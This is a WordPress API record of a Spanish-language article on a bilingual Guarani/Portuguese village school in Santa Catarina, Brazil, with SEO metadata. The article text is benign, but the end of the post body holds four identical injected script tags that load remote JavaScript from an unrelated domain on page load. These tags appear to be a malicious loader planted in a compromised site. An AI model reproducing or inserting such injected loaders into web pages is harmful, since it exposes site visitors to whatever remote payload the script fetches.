{"id":66586,"date":"2015-09-04T16:36:01","date_gmt":"2015-09-04T14:36:01","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=66586"},"modified":"2025-10-21T22:01:40","modified_gmt":"2025-10-21T20:01:40","slug":"una-experiencia-escolar-bilingue-guaraniportugues-en-brasil","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2015\/09\/una-experiencia-escolar-bilingue-guaraniportugues-en-brasil\/","title":{"rendered":"Una experiencia escolar biling\u00fce guaran\u00ed\/portugu\u00e9s en Brasil"},"content":{"rendered":"<p><span style=\"font-size:12px\">Publicado por Andr\u00e9a Eichenberg el May 9, 2011<\/span><br \/>\n&nbsp;<br \/>\n<em>Por Andr\u00e9a Eichenberger, antrop\u00f3loga fot\u00f3grafa, doctorante en antropolog\u00eda, en co-tutela internacional de tesis entre la Universidad Par\u00eds Diderot y la Universidad  Federal de Santa Catarina, en Brasil, quien trabaja sobre la construcci\u00f3n de una auto-imagen ind\u00edgena en el pueblo guaran\u00ed Yynn Morot\u0129 Wher\u00e1.<\/em><\/p>\n<p><div id=\"attachment_2550\" style=\"width: 510px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\"Marco Karai Moreira\" src=\"\/wp-content\/uploads\/guarani_eichenberger.jpg\" alt=\"Marco Karai Moreira\" width=\"500\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">Marco Karai Moreira, durante una ense\u00f1anza en lengua guaran\u00ed en la escuela del pueblo. \u00a9 Andr\u00e9a Eichenberger<\/p><\/div><br \/>\n<strong>\u00bfQui\u00e9n habla guaran\u00ed en Brasil?<\/strong><\/p>\n<p>Los guaran\u00ed forman el m\u00e1s grande contingente de poblaci\u00f3n ind\u00edgena de Brasil, con casi 30 000 representantes, repartidos en 7 estados brasile\u00f1os.<\/p>\n<p>La tendencia est\u00e1 hoy en el biling\u00fcismo guaran\u00ed portugu\u00e9s, entre los j\u00f3venes en particular: el guaran\u00ed es as\u00ed hablado d\u00eda a d\u00eda en los pueblos, mientras que la lengua portuguesa es adoptada sobre todo luego de los contactos con los no ind\u00edgenas.<\/p>\n<p>Esto dicho, una parte de los locutores es todav\u00eda monoling\u00fce. La mayor\u00eda de las personas de edad avanzada, en particular, no habla, o habla poco, la lengua de la sociedad dominante. El monoling\u00fcismo es tambi\u00e9n una de las manifestaciones de resistencia a la asimilaci\u00f3n de los valores de las otras culturas.<\/p>\n<p><strong>\u00bfCu\u00e1l es el lugar oficial de las lenguas ind\u00edgenas en el pa\u00eds?<\/strong><\/p>\n<p>La oficializaci\u00f3n de las lenguas ind\u00edgenas sigue siendo una iniciativa minoritaria y puntual, sin embargo el portugu\u00e9s pierde desde hace poco su lugar de lengua oficial exclusiva.<\/p>\n<p>Algunas ciudades brasile\u00f1as dieron un primer paso en este sentido, como por ejemplo la municipalidad de Tacur\u00fa, en Mato Grosso do Sul, quien ha oficializado el guaran\u00ed como segunda lengua, y la municipalidad de S\u00e3o Gabriel da Cachoeira, en el Estado de Amazonas, que, adem\u00e1s del portugu\u00e9s, cuenta con tres lenguas oficiales: el nheengatu, el tukano y el baniwa.<\/p>\n<p>Por otro lado, gracia a las luchas de las poblaciones ind\u00edgenas y de las asociaciones que las han apoyado, la ultima Constituci\u00f3n Federal, en 1988, reconoci\u00f3 a estas poblaciones un derecho a la diferencia.<\/p>\n<p>En el \u00e1rea de la educaci\u00f3n, espec\u00edficamente, \u00e9sta asegura el derecho a una ense\u00f1anza escolar espec\u00edfica, intercultural y biling\u00fce. Es as\u00ed que la escuela pudo tener cabida en los pueblos ind\u00edgenas despu\u00e9s de haber sido experimentada durante mucho tiempo como estigmatizadora debido a los fracasos de la inserci\u00f3n en el sistema escolar nacional.<\/p>\n<p><strong>El caso de los guaran\u00eds del pueblo Yynn Morot\u0129 Wher\u00e1<\/strong><\/p>\n<p>En 2006 y 2007, tuve la oportunidad de trabajar en la escuela ind\u00edgena del pueblo Yynn Morot\u0129 Wher\u00e1 (\u00ab Reflejo de aguas cristalinas \u00bb), en el estado de Santa Catarina, en el sur de Brasil.<\/p>\n<p>All\u00e1, mis interlocutores guaran\u00eds estimaban que los ni\u00f1os necesitan comprender el \u00abmundo de los blancos\u00bb para defender ciertos derechos fundamentales, como el derecho a la tierra, por ejemplo. As\u00ed, a escuela fue implantada en la comunidad a petici\u00f3n de sus l\u00edderes para que los alumnos aut\u00f3ctonos adquirieran los conocimientos de los djuru\u00e1 (blancos). La lengua portuguesa deber\u00eda ser un simple instrumento de negociaci\u00f3n, y su presencia deber\u00eda ser controlada, con el fin de que  \u00e9sta no tomara al final de cuentas el lugar del guaran\u00ed. Es dif\u00edcil de respetar Este punto por el momento, ya que la inmensa mayor\u00eda de los ni\u00f1os que llegan a\u00fan a la escuela no conocen portugu\u00e9s.<\/p>\n<p>El otro fin de la escuela es el dominio del escrito y de la lectura en lengua guaran\u00ed, que de hecho est\u00e1 presente a lo largo de la educaci\u00f3n, como asignatura as\u00ed como lengua de ense\u00f1anza de otras disciplinas.<\/p>\n<p>Una de las consecuencias es que lo que era generalmente transmitido de manera oral ya empez\u00f3 a ser escrito. En 2008 y 2009, los dos primeros vol\u00famenes biling\u00fces guaran\u00ed-portugueses de la colecci\u00f3n titulada \u201d Contribuciones a la revitalizaci\u00f3n de la cultura guaran\u00ed \u201d han sido publicados, primero negociando mitos y leyendas, y el segundo de los rituales y las creencias. Ciertos mitos han sido incluso readaptados bajo varias formas: textos, dibujos, puestas en escena, pel\u00edculas y fotograf\u00edas. La escuela se convierte de esta manera en un lugar de promoci\u00f3n de la revitalizaci\u00f3n cultural.<\/p>\n<p><strong>\u00bfUn sistema de escolarizaci\u00f3n perfecto?<\/strong><\/p>\n<p>Despu\u00e9s de todo, podemos sin embargo preguntarnos si esta nueva escuela, aparentemente tan abierta y alimentada de buenas intenciones, contiene s\u00f3lo aspectos positivos. Ciertamente, propone utilizar procesos de aprendizaje relativos a estas poblaciones, introducir la pr\u00e1ctica de sus lenguas y transmitir sus conocimientos y sabidur\u00eda tradicional. Pero cuando el Estado pone en pie un sistema escolar biling\u00fce, tambi\u00e9n podemos preguntarnos si no es una manera oculta de marginar las lenguas ind\u00edgenas y de imponer, finalmente, la presencia de la lengua portuguesa, con el fin de reforzar una cierta unidad ling\u00fc\u00edstica y nacional.<\/p>\n<p>Por otra parte, hay que subrayar que ciertos investigadores (antrop\u00f3logos, educadores, ling\u00fcistas, historiadores etc.) que participaron en la formaci\u00f3n de los profesores guaran\u00eds y que estaban en su mayor\u00eda en una posici\u00f3n muy favorables en cuanto a la revitalizaci\u00f3n de la cultura, se planteaban continuamente la cuesti\u00f3n: \u201c\u00bfacaso lo que estamos haciendo es verdaderamente lo correcto?\u201d<\/p>\n<p>Si se considera el caso de los guaran\u00eds por ejemplo, ellos se resistieron durante mucho tiempo al aprendizaje del portugu\u00e9s, pero este monoling\u00fcismo nativo se desliza progresivamente hacia un biling\u00fcismo guaran\u00ed \/ portugu\u00e9s.<br \/>\n<div id=\"attachment_2550\" style=\"width: 510px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\" Une des classes de l\u2019\u00e9cole guarani en 2007, avec un travail autour des familles du village, expos\u00e9 dans la cour de l\u2019\u00e9cole.\" src=\"\/wp-content\/uploads\/guarani_eichenberger2.jpg\" alt=\" Une des classes de l\u2019\u00e9cole guarani en 2007, avec un travail autour des familles du village, expos\u00e9 dans la cour de l\u2019\u00e9cole.\" width=\"500\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">Una de las clases de la escuela guaran\u00ed en 2007, con un trabajo sobre las familias del pueblo, expuesto en el patio de la escuela.. \u00a9 Andr\u00e9a Eichenberger<\/p><\/div><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Publicado por Andr\u00e9a Eichenberg el May 9, 2011 &nbsp; Por Andr\u00e9a Eichenberger, antrop\u00f3loga fot\u00f3grafa, doctorante en antropolog\u00eda, en co-tutela internacional de tesis entre la Universidad Par\u00eds Diderot y la Universidad Federal de Santa Catarina, en Brasil, quien trabaja sobre la construcci\u00f3n de una auto-imagen ind\u00edgena en el pueblo guaran\u00ed Yynn Morot\u0129 Wher\u00e1. \u00bfQui\u00e9n habla guaran\u00ed [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-66586","post","type-post","status-publish","format-standard","hentry","category-otro"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Una experiencia escolar biling\u00fce guaran\u00ed\/portugu\u00e9s en Brasil - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/una-experiencia-escolar-bilingue-guaraniportugues-en-brasil\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Una experiencia escolar biling\u00fce guaran\u00ed\/portugu\u00e9s en Brasil - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Publicado por Andr\u00e9a Eichenberg el May 9, 2011 &nbsp; Por Andr\u00e9a Eichenberger, antrop\u00f3loga fot\u00f3grafa, doctorante en antropolog\u00eda, en co-tutela internacional de tesis entre la Universidad Par\u00eds Diderot y la Universidad Federal de Santa Catarina, en Brasil, quien trabaja sobre la construcci\u00f3n de una auto-imagen ind\u00edgena en el pueblo guaran\u00ed Yynn Morot\u0129 Wher\u00e1. \u00bfQui\u00e9n habla guaran\u00ed [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/una-experiencia-escolar-bilingue-guaraniportugues-en-brasil\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2015-09-04T14:36:01+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:01:40+00:00\" \/>\n<meta name=\"author\" content=\"Sorosoro\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sorosoro\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/una-experiencia-escolar-bilingue-guaraniportugues-en-brasil\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/una-experiencia-escolar-bilingue-guaraniportugues-en-brasil\/\"},\"author\":{\"name\":\"Sorosoro\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"headline\":\"Una experiencia escolar biling\u00fce guaran\u00ed\/portugu\u00e9s en Brasil\",\"datePublished\":\"2015-09-04T14:36:01+00:00\",\"dateModified\":\"2025-10-21T20:01:40+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/una-experiencia-escolar-bilingue-guaraniportugues-en-brasil\/\"},\"wordCount\":978,\"articleSection\":[\"Otro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/una-experiencia-escolar-bilingue-guaraniportugues-en-brasil\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/una-experiencia-escolar-bilingue-guaraniportugues-en-brasil\/\",\"name\":\"Una experiencia escolar biling\u00fce guaran\u00ed\/portugu\u00e9s en Brasil - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2015-09-04T14:36:01+00:00\",\"dateModified\":\"2025-10-21T20:01:40+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/una-experiencia-escolar-bilingue-guaraniportugues-en-brasil\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2015\/09\/una-experiencia-escolar-bilingue-guaraniportugues-en-brasil\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/una-experiencia-escolar-bilingue-guaraniportugues-en-brasil\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Una experiencia escolar biling\u00fce guaran\u00ed\/portugu\u00e9s en Brasil\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\",\"name\":\"Sorosoro\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Una experiencia escolar biling\u00fce guaran\u00ed\/portugu\u00e9s en Brasil - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2015\/09\/una-experiencia-escolar-bilingue-guaraniportugues-en-brasil\/","og_locale":"es_ES","og_type":"article","og_title":"Una experiencia escolar biling\u00fce guaran\u00ed\/portugu\u00e9s en Brasil - Sorosoro","og_description":"Publicado por Andr\u00e9a Eichenberg el May 9, 2011 &nbsp; Por Andr\u00e9a Eichenberger, antrop\u00f3loga fot\u00f3grafa, doctorante en antropolog\u00eda, en co-tutela internacional de tesis entre la Universidad Par\u00eds Diderot y la Universidad Federal de Santa Catarina, en Brasil, quien trabaja sobre la construcci\u00f3n de una auto-imagen ind\u00edgena en el pueblo guaran\u00ed Yynn Morot\u0129 Wher\u00e1. \u00bfQui\u00e9n habla guaran\u00ed [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/una-experiencia-escolar-bilingue-guaraniportugues-en-brasil\/","og_site_name":"Sorosoro","article_published_time":"2015-09-04T14:36:01+00:00","article_modified_time":"2025-10-21T20:01:40+00:00","author":"Sorosoro","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Sorosoro","Tiempo de lectura":"5 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/una-experiencia-escolar-bilingue-guaraniportugues-en-brasil\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/una-experiencia-escolar-bilingue-guaraniportugues-en-brasil\/"},"author":{"name":"Sorosoro","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"headline":"Una experiencia escolar biling\u00fce guaran\u00ed\/portugu\u00e9s en Brasil","datePublished":"2015-09-04T14:36:01+00:00","dateModified":"2025-10-21T20:01:40+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/una-experiencia-escolar-bilingue-guaraniportugues-en-brasil\/"},"wordCount":978,"articleSection":["Otro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/una-experiencia-escolar-bilingue-guaraniportugues-en-brasil\/","url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/una-experiencia-escolar-bilingue-guaraniportugues-en-brasil\/","name":"Una experiencia escolar biling\u00fce guaran\u00ed\/portugu\u00e9s en Brasil - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2015-09-04T14:36:01+00:00","dateModified":"2025-10-21T20:01:40+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/una-experiencia-escolar-bilingue-guaraniportugues-en-brasil\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2015\/09\/una-experiencia-escolar-bilingue-guaraniportugues-en-brasil\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/una-experiencia-escolar-bilingue-guaraniportugues-en-brasil\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"Una experiencia escolar biling\u00fce guaran\u00ed\/portugu\u00e9s en Brasil"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917","name":"Sorosoro","url":"https:\/\/www.sorosoro.org\/es\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66586","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=66586"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66586\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=66586"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=66586"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=66586"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}